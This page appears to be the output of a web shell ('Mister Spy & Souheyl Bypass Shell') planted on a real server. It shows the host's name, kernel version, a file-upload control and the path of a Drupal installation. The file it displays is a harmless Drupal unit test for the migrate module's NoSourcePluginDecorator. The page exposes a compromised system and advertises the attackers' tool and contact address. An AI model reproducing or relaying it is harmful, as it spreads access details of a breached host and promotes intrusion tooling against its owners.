Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/core/modules/migrate/tests/src/Unit/Plugin/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/core/modules/migrate/tests/src/Unit/Plugin/NoSourcePluginDecoratorTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\migrate\Unit\Plugin;

use Drupal\Component\Plugin\Discovery\DiscoveryInterface;
use Drupal\Core\DependencyInjection\ContainerBuilder;
use Drupal\migrate\Plugin\MigrateSourcePluginManager;
use Drupal\migrate\Plugin\NoSourcePluginDecorator;
use Drupal\Tests\UnitTestCase;

/**
 * @coversDefaultClass \Drupal\migrate\Plugin\NoSourcePluginDecorator
 * @group migrate
 */
class NoSourcePluginDecoratorTest extends UnitTestCase {

  /**
   * @covers ::getDefinitions
   * @dataProvider providerGetDefinitions
   */
  public function testGetDefinitions(array $definition, bool $source_exists): void {
    $source_manager = $this->createMock(MigrateSourcePluginManager::class);
    $source_manager->expects($this->any())
      ->method('hasDefinition')
      ->willReturn($source_exists);
    $container = new ContainerBuilder();
    $container->set('plugin.manager.migrate.source', $source_manager);
    \Drupal::setContainer($container);

    $discovery_interface = $this->createMock(DiscoveryInterface::class);
    $discovery_interface->expects($this->once())
      ->method('getDefinitions')
      ->willReturn([$definition]);

    $decorator = new NoSourcePluginDecorator($discovery_interface);
    $results = $decorator->getDefinitions();
    if ($source_exists) {
      $this->assertEquals([$definition], $results);
    }
    else {
      $this->assertEquals([], $results);
    }
  }

  /**
   * Provides data for testGetDefinitions().
   */
  public static function providerGetDefinitions(): array {
    return [
      'source exists' => [
        [
          'source' => ['plugin' => 'valid_plugin'],
          'process' => [],
          'destination' => [],
        ],
        TRUE,
      ],
      'source does not exist' => [
        [
          'source' => ['plugin' => 'invalid_plugin'],
          'process' => [],
          'destination' => [],
        ],
        FALSE,
      ],
      'source is not defined' => [
        [
          'process' => [],
          'destination' => [],
        ],
        FALSE,
      ],
    ];
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net